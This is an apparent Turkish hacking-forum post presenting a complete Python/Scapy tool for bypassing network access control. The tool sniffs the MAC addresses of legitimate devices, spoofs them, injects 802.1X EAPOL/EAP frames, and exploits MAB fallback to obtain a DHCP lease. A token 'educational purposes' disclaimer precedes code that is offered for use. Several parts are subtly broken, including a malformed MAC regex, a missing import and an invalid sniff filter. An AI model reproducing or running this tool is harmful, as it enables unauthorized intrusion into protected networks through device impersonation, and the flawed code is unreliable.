Nikilis's DIHH | NAC Exploit

tabii ki eğitim amaçlıdır ve nac sistemlerine saldırılması yasal değildir .

python
#!/usr/bin/env python3

import subprocess
import time
import sys
import re
import os
import random
import signal
from collections import deque

# Scapy - Sadece Linux'ta çalışır windowsda falan denemeyin
try:
from scapy.all import Ether, EAPOL, EAP, EAP_Identity, EAP_Failure, EAP_Success, sniff, sendp, get_if_hwaddr, AsyncSniffer
SCAPY_LOADED = True
except ImportError:
SCAPY_LOADED = False
print("\033[91m[HATA]\033[0m Scapy yüklenemedi. Lütfen 'sudo pip3 install scapy' ile yükleyin.")
print("\033[91m[HATA]\033[0m Bazı gelişmiş 802.1X fonksiyonları kullanılamayacak")
#sys.exit(1) # Scapy olmadan bile temel MAC spoofingi yapabiliriz, o yüzden hemen çıkmıyoruz.

# Ayarlar
LOG_FILE = "nikilis_dihh_gecmis.txt"
LAST_SNIFFED_MAC_ADDRESSES = deque(maxlen=20) # Son 20 MAC adresini tutacak
EAP_IDENTITY_ATTEMPTS = 5 # EAP kimlik deneme sayısı
EAP_FAILURE_TIMEOUT = 10 # EAP kimlik doğrulama yanıtı için bekleme süresi (saniye)
DHCP_TIMEOUT = 15 # DHCP IP alma süresi (saniye)

def print_status(message, level="INFO"):
"""
Durum mesajlarını renkli basan pis bir fonksiyon.
"""
colors = {
"INFO": "\033[94m", # Mavi
"SUCCESS": "\033[92m", # Yeşil
"WARNING": "\033[93m", # Sarı
"ERROR": "\033[91m", # Kırmızı
"CRITICAL": "\033[41m\033[1m", # Kırmızı Arkaplan, Kalın
"ENDC": "\033[0m" # Rengi Sıfırla
}
log_message = f"[{level}] {message}"
with open(LOG_FILE, "a") as f:
f.write(f"{time.ctime()} - {log_message}\n")
print(f"{colors[level]}[{level}]{colors['ENDC']} {message}")

def run_command(command, description="komut çalıştırma", sudo_needed=True, suppress_error=False, timeout=10):
"""
Belirtilen komutu çalıştıran ve çıktısını döndüren function
"""
prefix = "sudo " if sudo_needed else ""
full_command = prefix + command
print_status(f"'{description}' için komut çalıştırılıyor: '{full_command}'", "INFO")
try:
result = subprocess.run(
full_command,
shell=True,
check=True,
capture_output=True,
text=True,
timeout=timeout
)
if result.stderr:
print_status(f"Hata çıktısı: {result.stderr.strip()}", "WARNING")
if result.stdout:
print_status(f"Başarılı çıktı: {result.stdout.strip()}", "INFO")
return result.stdout.strip()
except subprocess.CalledProcessError as e:
if not suppress_error:
print_status(f"naled olsun'{description}' komutu başarısız oldu hata kodu: {e.returncode}, Çıktı: {e.output.strip()}, Hata: {e.stderr.strip()}", "ERROR")
sys.exit(1)
return None
except FileNotFoundError:
if not suppress_error:
print_status(f"gene naled olsun komut bulunamadı: '{command.split()[0]}'. Gerekli araçlar yüklü mü?", "CRITICAL")
sys.exit(1)
return None
except subprocess.TimeoutExpired:
if not suppress_error:
print_status(f"genemi? evet gene komut zaman aşımına uğradı: '{full_command}'", "ERROR")
# sys.exit(1) # Zaman aşımı durumunda script'in tamamen çıkmasını istemeyebiliriz, bu yüzden yorum satırına alıyoruz.
return None
except Exception as e:
if not suppress_error:
print_status(f"Beklenmeyen bir hata oluştu en azından ben beklemiyordum: {e}", "CRITICAL")
sys.exit(1)
return None

def get_current_mac(interface):
"""
Mevcut MAC adresini alan func
"""
try:
output = run_command(f"ip link show {interface}", f"{interface} için mevcut MAC adresi alınıyor", sudo_needed=False)
mac_match = re.search(r'link/ether\s+([0-9a-fA-F:]{17})', output)
if mac_match:
return mac_match.group(1).upper()
else:
print_status(f"'{interface}' için mevcut MAC adresi bulunamadı. Çıktı: {output}", "WARNING")
return None
except Exception as e:
print_status(f"Mevcut MAC adresini alırken hata: {e}", "ERROR")
return None

def get_network_interfaces():
"""
Sistemdeki ağ arayüzlerini listeler.
"""
interfaces = []
output = run_command("ip -o link show", "Ağ arayüzleri listeleniyor", sudo_needed=False)
for line in output.split('\n'):
match = re.search(r'^\d+:\s+(\w+):', line)
if match:
if match.group(1) != "lo": # Loopback arayüzünü atla
interfaces.append(match.group(1))
return interfaces

def set_mac_address(interface, new_mac):
"""
MAC adresini değiştiren func
"""
if not re.match(r'^([0-9a-fA-F]{2}{5}[0-9a-fA-F]{2}$', new_mac):
print_status(f"Geçersiz MAC adresi formatı: '{new_mac}'. Lütfen 'AA:BB:CCD:EE:FF' formatında girin.", "ERROR")
return False

current_mac = get_current_mac(interface)
if current_mac == new_mac:
print_status(f"MAC adresi zaten '{new_mac}'. Değişiklik gerekmiyor..", "INFO")
return True

print_status(f"'{interface}' arayüzü kapatılıyor...", "INFO")
run_command(f"ip link set dev {interface} down", f"'{interface}' arayüzünü kapatma")
time.sleep(1) # 1 saniye bekle

print_status(f"'{interface}' arayüzünün MAC adresi '{new_mac}' olarak değiştiriliyor...", "INFO")
run_command(f"ip link set dev {interface} address {new_mac}", f"MAC adresini değiştirme")
time.sleep(1) # 1 saniye bekle

print_status(f"'{interface}' arayüzü tekrar açılıyor...", "INFO")
run_command(f"ip link set dev {interface} up", f"'{interface}' arayüzünü açma")
time.sleep(2) # 2 saniye bekle

# Değişikliği doğrula
if get_current_mac(interface) == new_mac:
print_status(f"MAC adresi başarıyla '{new_mac}' olarak ayarlandı", "SUCCESS")
return True
else:
print_status(f"MAC adresini '{new_mac}' olarak ayarlama başarısız oldu!", "ERROR")
return False

def get_ip_address(interface):
"""
Arayüzün mevcut IP adresini döndürür.
"""
output = run_command(f"ip addr show {interface}", f"'{interface}' IP adresini kontrol etme", sudo_needed=False, suppress_error=True)
ip_address_match = re.search(r'inet\s+([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/\d{1,2})', output)
if ip_address_match:
return ip_address_match.group(1)
return None

def try_dhcp_lease(interface):
"""
DHCP sunucusundan IP almaya çalışır.
"""
print_status(f"DHCP sunucusundan IP adresi isteniyor ({DHCP_TIMEOUT} saniye bekleniyor)...", "INFO")
# önce eski dhclient süreçlerini sonlandırak
run_command(f"killall dhclient 2>/dev/null || true", "eski dhclient süreçlerini sonlandırma", sudo_needed=False, suppress_error=True)
run_command(f"dhclient -r {interface} 2>/dev/null || true", "eski DHCP kiralamasını serbest bırakma", suppress_error=True)
time.sleep(1)

dhclient_output = run_command(f"dhclient {interface}", f"'{interface}' için DHCP istemi", timeout=DHCP_TIMEOUT, suppress_error=True)

if dhclient_output and "bound to" in dhclient_output:
print_status("DHCP'den bir IP adresi alınmış gibi görünüyor.", "INFO")

time.sleep(2) # IP'nin tam olarak atanmasını beklemek için
assigned_ip = get_ip_address(interface)
if assigned_ip:
print_status(f"BAŞARILI! '{interface}' arayüzüne IP adresi atandı: {assigned_ip}", "SUCCESS")
return True
else:
print_status(f"LANET OLSUN! '{interface}' arayüzüne IP adresi atanamadı. NAC seni yakalamış olabilir veya DHCP sunucusu yanıt vermiyor.", "ERROR")
return False

def check_internet_connectivity():
"""
İnternet bağlantısını kontrol eder.
"""
print_status("İnternet bağlantısı kontrol ediliyor...", "INFO")
try:
# Google DNS sunucusuna ping atmayı dene
result = subprocess.run(
"ping -c 3 8.8.8.8",
shell=True,
check=False,
capture_output=True,
text=True,
timeout=5
)
if result.returncode == 0:
print_status("İNTERNET BAĞLANTISI BAŞARILI", "SUCCESS")
return True
else:
print_status("İnternet bağlantısı yok veya çok kötü.", "WARNING")
return False
except subprocess.TimeoutExpired:
print_status("Ping zaman aşımına uğradı, internet bağlantısı yok gibi.", "WARNING")
return False
except Exception as e:
print_status(f"İnternet bağlantısını kontrol ederken hata: {e}", "WARNING")
return False

def generate_random_mac():
"""
Rastgele bir MAC adresi oluşturur.
"""
# 02 ile başlayan MAC adresleri genellikle yerel olarak yönetilen (Locally Administered) adreslerdir, çakışma riski düşüktür.
return "02:%02x:%02x:%02x:%02x:%02x" % (
random.randint(0x00, 0xff),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff),
random.randint(0x00, 0xff)
)

# --- Scapy ile EAP ve NAC Keşif/Saldırı Fonksiyonları ---
# Bu kısım Scapy yüklüyse aktif olur o yüzden zaten linux kullanın

def handle_eapol_packet(packet):
"""
Yakalanan EAPOL paketlerini işler ve loglar.
"""
if EAPOL in packet:
eapol_type = packet[EAPOL].type
eapol_version = packet[EAPOL].version
src_mac = packet[Ether].src
dst_mac = packet[Ether].dst

if EAP in packet:
eap_code = packet[EAP].code
eap_id = packet[EAP].id
eap_type = packet[EAP].type
eap_type_name = {
1: "Identity", 2: "Notification", 3: "Nak", 4: "Expanded",
13: "EAP-TLS", 21: "EAP-TTLS", 25: "PEAP", 26: "EAP-GTC",
}.get(eap_type, f"Unknown ({eap_type})")

print_status(f"EAP Paket Yakalandı ({src_mac} -> {dst_mac}): Kod={eap_code} (Request/Response), ID={eap_id}, Tip={eap_type_name}", "INFO")
if eap_code == 1 and eap_type == 1: # EAP Request/Identity
print_status(f" EAP-Request/Identity algılandı. Bu 802.1X'in aktif olduğunu gösterir", "WARNING")

else:
print_status(f"EAPOL Paketi Yakalandı ({src_mac} -> {dst_mac}): Tip={eapol_type}, Versiyon={eapol_version}", "INFO")
if eapol_type == 1: # EAPOL-Start (Supplicant tarafından gönderilir)
print_status(f" EAPOL-Start algılandı. Bir cihaz 802.1X kimlik doğrulamasına başlıyor.", "INFO")
elif eapol_type == 2: # EAPOL-Logoff
print_status(f" EAPOL-Logoff algılandı. Bir cihaz ağdan çıkıyor.", "INFO")

# MAC adreslerini keşif için kuyruğa ekle
if src_mac not in LAST_SNIFFED_MAC_ADDRESSES and src_mac != get_if_hwaddr(INTERFACE):
LAST_SNIFFED_MAC_ADDRESSES.append(src_mac)
print_status(f"Keşfedilen MAC adresi eklendi: {src_mac}", "INFO")


def nac_probe_and_eap_detection(interface, timeout=30):
"""
NAC sisteminin tipini (802.1X veya MAB) ve EAP metodunu tespit etmeye çalışır.
"""
if not SCAPY_LOADED:
print_status("Scapy yüklü değil, 802.1X tespiti yapılamıyor.", "WARNING")
return "UNKNOWN", None

print_status(f"'{interface}' arayüzünde NAC tespiti başlatılıyor ({timeout} saniye)...", "INFO")

# Kendi MAC adresimizi bir kenara not alalım
our_mac = get_if_hwaddr(interface)

# Bir AsyncSniffer başlat, belirli bir süre EAPOL paketlerini dinlesin
sniffer = AsyncSniffer(iface=interface, filter="ether proto 0x888E", prn=handle_eapol_packet, store=0)
sniffer.start()

# EAPOL-Start paketi göndererek 802.1X kimlik doğrulamasını tetiklemeyi dene
# Hedef MAC ff:ff:ff:ff:ff:ff (broadcast) olmalı
print_status(f"EAPOL-Start paketi gönderiliyor (kaynak MAC: {our_mac})...", "INFO")
eapol_start_packet = Ether(src=our_mac, dst="ff:ff:ff:ff:ff:ff")/EAPOL(type=1, version=2)/EAPOL_Start()
sendp(eapol_start_packet, iface=interface, verbose=0)

# Belirtilen süre boyunca dinle
time.sleep(timeout)
sniffer.stop()

# Yakalanan paketleri analiz et
eap_found = False
identity_request_received = False
eap_methods = set()

# Sniffer'ın yakaladığı paketleri kontrol et
# Bu kısmı AsyncSniffer'dan gelen verilerle düzenlemek gerekir.
# handle_eapol_packet fonksiyonu zaten logluyor, burada sonuçları özetleyebiliriz.

if not sniffer.results: # Sniffer'ın sonuçları boşsa
print_status("Hiç EAPOL paketi yakalanmadı. Bu, 802.1X'in aktif olmadığını veya çok pasif olduğunu gösterebilir.", "WARNING")
print_status("Muhtemelen MAB (MAC Authentication Bypass) veya açık bir ağ.", "INFO")
return "MAB/OPEN", None

# handle_eapol_packet fonksiyonunun global değişkenleri güncellemesi beklenir
# (Bu basit bir örnektir, gerçek bir tool'da daha sofistike bir state machine olurdu)

print_status("NAC tespiti tamamlandı. Logları kontrol et", "INFO")

# Basit bir değerlendirme (gerçek bir tool daha karmaşık olurdu)
if "EAP-Request/Identity algılandı" in open(LOG_FILE).read():
identity_request_received = True

if identity_request_received:
print_status("802.1X aktif gibi görünüyor. EAP-Request/Identity yanıtı alındı.", "WARNING")
return "802.1X", list(eap_methods) # EAP metodları bu basit loglama ile tam tespit edilemeyebilir
else:
print_status("802.1X aktif gibi görünmüyor veya kimlik doğrulamayı başlatmadı.", "INFO")
print_status("Bu bir MAB fallback veya açık bir ağ olabilir. MAC spoofing denemeye devam et!", "INFO")
return "MAB/OPEN", None


def try_8021x_bypass_and_mab_fallback(interface, target_mac=None, username="guest", password=None):
"""
802.1X'i aşmaya veya MAB fallback'ini tetiklemeye çalışır.
"""
if not SCAPY_LOADED:
print_status("Scapy yüklü değil, 802.1X bypass denemesi yapılamıyor.", "WARNING")
return False

current_mac = get_if_hwaddr(interface)
if not target_mac:
target_mac = current_mac # Kendi MAC adresimizle başla

print_status(f"802.1X bypass/MAB fallback denemesi başlatılıyor. Hedef MAC: {target_mac}", "INFO")

# MAC adresini ayarla (eğer farklıysa)
if target_mac != current_mac:
if not set_mac_address(interface, target_mac):
print_status(f"Hedef MAC ({target_mac}) ayarlanamadı, devam edilemiyor.", "ERROR")
return False
time.sleep(2) # MAC değişimi sonrası stabilite için

# EAPOL-Start gönder
print_status("EAPOL-Start paketi gönderiliyor...", "INFO")
sendp(Ether(src=target_mac, dst="ff:ff:ff:ff:ff:ff")/EAPOL(type=1, version=2)/EAPOL_Start(), iface=interface, verbose=0)

received_eap_request = False
for i in range(EAP_IDENTITY_ATTEMPTS):
print_status(f"EAP-Request/Identity bekleniyor (deneme {i+1}/{EAP_IDENTITY_ATTEMPTS})...", "INFO")

# EAP Request/Identity paketini yakala
response_packet = sniff(filter=f"ether proto 0x888E and src host {Ether().dst(target_mac)} and eap.code == 1 and eap.type == 1",
iface=interface, timeout=EAP_FAILURE_TIMEOUT, count=1)

if response_packet and EAP in response_packet[0]:
eap_id = response_packet[0][EAP].id
print_status(f"EAP-Request/Identity yakalandı (ID: {eap_id}). Yanıt gönderiliyor...", "INFO")
received_eap_request = True

# EAP-Response/Identity gönder
eap_identity_response = Ether(src=target_mac, dst=response_packet[0][Ether].src)/\
EAPOL(type=1, version=2)/\
EAP(code=2, id=eap_id, type=1)/\
EAP_Identity(identity=username.encode('utf-8'))
sendp(eap_identity_response, iface=interface, verbose=0)

# Sonraki EAP paketini bekle (örneğin PEAP/TTLS challenge veya EAP-Failure/Success)
print_status("EAP-Success/Failure veya başka bir EAP challenge bekleniyor...", "INFO")
next_eap_packet = sniff(filter=f"ether proto 0x888E and src host {Ether().dst(target_mac)}",
iface=interface, timeout=EAP_FAILURE_TIMEOUT, count=1)

if next_eap_packet and EAP in next_eap_packet[0]:
eap_code = next_eap_packet[0][EAP].code
if eap_code == 3: # EAP-Failure
print_status("EAP-Failure alındı. 802.1X kimlik doğrulaması BAŞARISIZ oldu.", "WARNING")
# MAB fallback'ini kontrol et
print_status("MAB fallback'i için DHCP denemesi yapılıyor...", "INFO")
if try_dhcp_lease(interface):
print_status(f"MAB FALLBACK BAŞARILI, IP alındı! 802.1X atlatıldı!", "SUCCESS")
return True
else:
print_status("MAB fallback'i başarısız oldu veya etkin değil.", "ERROR")
return False
elif eap_code == 4: # EAP-Success
print_status("EAP-Success alındı! 802.1X kimlik doğrulaması BAŞARILI OLDU!", "SUCCESS")
if try_dhcp_lease(interface):
print_status("DHCP ile IP alındı. Ağ erişimi sağlandı!", "SUCCESS")
return True
else:
print_status("DHCP ile IP alınamadı, ancak 802.1X başarılı. Manuel IP yapılandırması gerekebilir.", "WARNING")
return True
else: # Başka bir EAP challenge (PEAP, TTLS vb.)
print_status(f"Başka bir EAP challenge alındı (Kod: {eap_code}). Bu daha karmaşık bir EAP yöntemi.", "WARNING")
print_status("Bu tool şimdilik bu karmaşık EAP yöntemlerini tam olarak çözemez. Daha fazla manuel analiz gerekebilir.", "WARNING")
# Buradan sonra kaba kuvvet veya gelişmiş EAP supplicant gerekecek
# Şimdilik MAB fallback denemesi yapalım
print_status("MAB fallback'i için DHCP denemesi yapılıyor...", "INFO")
if try_dhcp_lease(interface):
print_status(f"MAB FALLBACK BAŞARILI, IP alındı!", "SUCCESS")
return True
else:
print_status("MAB fallback'i başarısız oldu.", "ERROR")
return False
else:
print_status("EAP-Success/Failure veya başka bir challenge yanıtı alınamadı.", "WARNING")
break # Yanıt gelmezse döngüden çık
else:
print_status("EAP-Request/Identity yanıtı alınamadı.", "WARNING")

if not received_eap_request:
print_status("Hiç EAP-Request/Identity yakalanamadı. 802.1X aktif olmayabilir veya port kısıtlı olabilir.", "WARNING")
print_status("MAB fallback'i için MAC spoofing ve DHCP denemesi yapılıyor...", "INFO")
if try_dhcp_lease(interface):
print_status("MAB fallback'i BAŞARILI oldu, IP alındı!", "SUCCESS")
return True
else:
print_status("MAB fallback'i başarısız oldu.", "ERROR")
return False

return False

# --- Ana Menü ve Yönetim ---

def display_main_menu():
"""
Ana menü
"""
print_status("\n" + "="*50, "INFO")
print_status(f" Nikilis's DIHH - isimin önemi yok ", "CRITICAL")
print_status(f" İsim üzerinde daha çok düşünsemde olurmuş - V1.0 ", "CRITICAL")
print_status("="*50, "INFO")
print_status("Seç beğen al", "INFO")
print_status("1. Ağ Arayüzlerini Listele ve Seç", "INFO")
print_status("2. NAC/802.1X Tespiti Yap (Scapy Gerekir)", "INFO")
print_status("3. MAC Adresi Taklit Et ve DHCP ile IP Al", "INFO")
print_status("4. 802.1X Bypass ve MAB Fallback Denemesi (Scapy Gerekir)", "INFO")
print_status("5. Keşfedilen MAC Adreslerini Göster", "INFO")
print_status("6. Rastgele MAC Adresi Oluştur", "INFO")
print_status("7. İnternet Bağlantısını Kontrol Et", "INFO")
print_status("0. Çıkış (nereye la gardas)", "INFO")
print_status("="*50, "INFO")

def main():
"""
Ana fonksiyon, hub
"""
global INTERFACE # Global olarak arayüz değişkenini kullanacağız

print_status("Nikilis's DIHH başlatılıyor...", "CRITICAL")
print_status(f"Tüm aktiviteler '{LOG_FILE}' dosyasına kaydedilecek.", "INFO")

INTERFACE = None
if not os.geteuid() == 0:
print_status("Bu scripti sudo ile çalıştır(Kök yetkileri gerekli)", "CRITICAL")
sys.exit(1)

while True:
display_main_menu()
choice = input(f"{colors['INFO']}[SEÇİM]{colors['ENDC']} Seçimini yap: ")

if choice == '1':
interfaces = get_network_interfaces()
if not interfaces:
print_status("Hiç ağ arayüzü bulunamadı. Ağ kartınmı bozuk mu la?", "ERROR")
INTERFACE = None
continue

print_status("\n" + "="*30, "INFO")
print_status(" Mevcut Ağ Arayüzleri", "INFO")
print_status("="*30, "INFO")
for i, iface in enumerate(interfaces):
current_mac = get_current_mac(iface)
current_ip = get_ip_address(iface)
print_status(f"{i+1}. {iface} (MAC: {current_mac if current_mac else 'Bilinmiyor'}, IP: {current_ip if current_ip else 'Yok'})", "INFO")
print_status("="*30, "INFO")

try:
iface_choice = int(input(f"{colors['INFO']}[SEÇİM]{colors['ENDC']} Kullanmak istediğin arayüz numarasını gir (örn. 1): ")) - 1
if 0 <= iface_choice < len(interfaces):
INTERFACE = interfaces[iface_choice]
print_status(f"Arayüz '{INTERFACE}' seçildi. Mevcut MAC: {get_current_mac(INTERFACE)}", "SUCCESS")
else:
print_status("Geçersiz arayüz seçimi", "ERROR")
except ValueError:
print_status("Sayı girmelisin dostum", "ERROR")

elif choice == '2':
if not INTERFACE:
print_status("Önce bir ağ arayüzü seçmelisin", "ERROR")
continue
if not SCAPY_LOADED:
print_status("Scapy yüklü değil, bu fonksiyon çalışmaz. yüklemen lazım kral", "ERROR")
continue

nac_type, eap_methods = nac_probe_and_eap_detection(INTERFACE)
print_status(f"NAC Tespiti Sonucu: {nac_type}", "SUCCESS" if nac_type != "UNKNOWN" else "WARNING")
if eap_methods:
print_status(f"Tespit Edilen EAP Metodları: {', '.join(eap_methods)}", "INFO")

elif choice == '3':
if not INTERFACE:
print_status("Önce bir ağ arayüzü seçmelisin", "ERROR")
continue

print_status(f"Mevcut MAC adresin: {get_current_mac(INTERFACE)}", "INFO")
target_mac = input(f"{colors['INFO']}[GİRİŞ]{colors['ENDC']} Taklit edilecek MAC adresini gir (örn: 00:1A:2B:3C:4D:5E) veya boş bırakıp keşfedilenleri dene: ").strip()

if not target_mac:
if LAST_SNIFFED_MAC_ADDRESSES:
print_status("Keşfedilen MAC adresleri listesi:", "INFO")
for i, mac in enumerate(list(LAST_SNIFFED_MAC_ADDRESSES)):
print_status(f"{i+1}. {mac}", "INFO")

try:
mac_choice = int(input(f"{colors['INFO']}[GİRİŞ]{colors['ENDC']} Kullanmak istediğin MAC adresinin numarasını gir: ")) - 1
if 0 <= mac_choice < len(LAST_SNIFFED_MAC_ADDRESSES):
target_mac = list(LAST_SNIFFED_MAC_ADDRESSES)[mac_choice]
else:
print_status("Geçersiz MAC seçimi. Rastgele denenecek.", "WARNING")
target_mac = generate_random_mac() # Geçersiz ise rastgele dene
except ValueError:
print_status("Sayı girmelisin. Rastgele denenecek.", "WARNING")
target_mac = generate_random_mac()
else:
print_status("Keşfedilmiş MAC adresi yok. Rastgele bir MAC oluşturuluyor...", "WARNING")
target_mac = generate_random_mac()

if target_mac:
print_status(f"MAC adresini '{target_mac}' olarak ayarlama denemesi yapılıyor...", "INFO")
if set_mac_address(INTERFACE, target_mac):
if try_dhcp_lease(INTERFACE):
print_status("MAC spoofing ve DHCP ile ağ erişimi BAŞARILI", "SUCCESS")
check_internet_connectivity()
else:
print_status("MAC spoofing başarılı ama IP alınamadı. NAC seni hala engelliyor olabilir.", "ERROR")
else:
print_status("MAC adresini ayarlama başarısız oldu.", "ERROR")
else:
print_status("Geçerli bir MAC adresi girilmedi veya seçilemedi.", "ERROR")


elif choice == '4':
if not INTERFACE:
print_status("Önce bir ağ arayüzü seçmelisin", "ERROR")
continue
if not SCAPY_LOADED:
print_status("Scapy yüklü değil, bu fonksiyon çalışmaz. hala yüklemedinmi kral", "ERROR")
continue

print_status(f"Mevcut MAC adresin: {get_current_mac(INTERFACE)}", "INFO")
target_mac_choice = input(f"{colors['INFO']}[GİRİŞ]{colors['ENDC']} Kullanılacak MAC adresini gir (boş bırakırsan mevcut MAC ile başlanır, sonra keşfedilenler denenir): ").strip()
username = input(f"{colors['INFO']}[GİRİŞ]{colors['ENDC']} EAP kimliği için kullanılacak kullanıcı adını gir (örn. 'guest' veya 'testuser'): ").strip() or "guest"

macs_to_try = [get_current_mac(INTERFACE)] # İlk olarak mevcut MAC ile dene
if target_mac_choice and re.match(r'^([0-9a-fA-F]{2}{5}[0-9a-fA-F]{2}$', target_mac_choice):
macs_to_try.insert(0, target_mac_choice.upper()) # Kullanıcının girdiğini en üste koy
macs_to_try.extend(list(LAST_SNIFFED_MAC_ADDRESSES)) # Keşfedilenleri ekle
macs_to_try = list(dict.fromkeys(macs_to_try)) # Tekrar edenleri temizle

bypass_success = False
for mac in macs_to_try:
print_status(f"\n[{INTERFACE}] ile '{mac}' MAC adresi ve '{username}' kullanıcı adı kullanılarak 802.1X/MAB bypass denemesi...", "WARNING")
if try_8021x_bypass_and_mab_fallback(INTERFACE, mac, username):
bypass_success = True
print_status(f"OHA LA 802.1X/MAB bypass '{mac}' ile BAŞARILI OLDU!", "SUCCESS")
check_internet_connectivity()
break
else:
print_status(f"'{mac}' ile deneme BAŞARISIZ OLDU. Başka bir MAC deneniyor...", "ERROR")

if not bypass_success:
print_status("Tüm denemeler başarısız oldu. NAC sistemi çok sağlam veya hedef MAC adresleri işe yaramadı.", "CRITICAL")
print_status("Daha fazla keşif yapmalısın veya farklı bir saldırı vektörü düşünmelisin", "CRITICAL")

elif choice == '5':
if LAST_SNIFFED_MAC_ADDRESSES:
print_status("\n" + "="*30, "INFO")
print_status(" Keşfedilen MAC Adresleri (Son 20)", "INFO")
print_status("="*30, "INFO")
for i, mac in enumerate(list(LAST_SNIFFED_MAC_ADDRESSES)):
print_status(f"{i+1}. {mac}", "INFO")
print_status("="*30, "INFO")
else:
print_status("Henüz keşfedilmiş MAC adresi yok. Önce NAC Tespiti yap!", "WARNING")

elif choice == '6':
random_mac = generate_random_mac()
print_status(f"Oluşturulan rastgele MAC adresi: {random_mac}", "SUCCESS")
if INTERFACE:
if input(f"{colors['INFO']}[GİRİŞ]{colors['ENDC']} Bu MAC adresini '{INTERFACE}' arayüzüne atamak ister misin? (e/h): ").lower() == 'e':
set_mac_address(INTERFACE, random_mac)

elif choice == '7':
if not INTERFACE:
print_status("Önce bir ağ arayüzü seçmelisin", "ERROR")
continue
check_internet_connectivity()

elif choice == '0':
print_status("Çıkış yapılıyor, nereye la daha karpuz kesecektik", "INFO")
sys.exit(0)

else:
print_status("Sayın abonemiz, geçersiz veya hatalı tuşlama yaptınız. Lütfen faturanızı adam akıllı ödeyiniz. B0001", "ERROR")

if __name__ == "__main__":
# Signal handler (Ctrl+C için)
def signal_handler(sig, frame):
print_status("\nKlavye kesintisi (Ctrl+C) algılandı. Çıkılıyor", "WARNING")
if INTERFACE and get_current_mac(INTERFACE) != ORIGINAL_MAC_ADDRESS: # Orijinal MAC'i geri yükle
print_status(f"Orijinal MAC adresi '{ORIGINAL_MAC_ADDRESS}' geri yükleniyor...", "INFO")
set_mac_address(INTERFACE, ORIGINAL_MAC_ADDRESS)
sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

# Scapy'nin Ether().dst() fonksiyonu için varsayılan bir değer alalım, MAC spoofing öncesi
# Bu, orijinal MAC adresini tutmak için
ORIGINAL_MAC_ADDRESS = None
try:
# Arayüz seçimi yapılmadan önce de mevcut bir MAC adresi alabiliriz.
# İlk bulduğumuz arayüzü varsayılan olarak kabul edelim ya da boş bırakalım.
_temp_interfaces = get_network_interfaces()
if _temp_interfaces:
ORIGINAL_MAC_ADDRESS = get_current_mac(_temp_interfaces[0])
else:
ORIGINAL_MAC_ADDRESS = "00:00:00:00:00:00" # fallback
except Exception as e:
print_status(f"Orijinal MAC adresini alırken hata oluştu: {e}", "WARNING")
ORIGINAL_MAC_ADDRESS = "00:00:00:00:00:00" # fallback

# Renkleri global olarak tanımla
colors = {
"INFO": "\033[94m", # Mavi
"SUCCESS": "\033[92m", # Yeşil
"WARNING": "\033[93m", # Sarı
"ERROR": "\033[91m", # Kırmızı
"CRITICAL": "\033[41m\033[1m", # Kırmızı Arkaplan, Kalın
"ENDC": "\033[0m" # Rengi Sıfırla
}

main()

Genişletmek için tıkla ...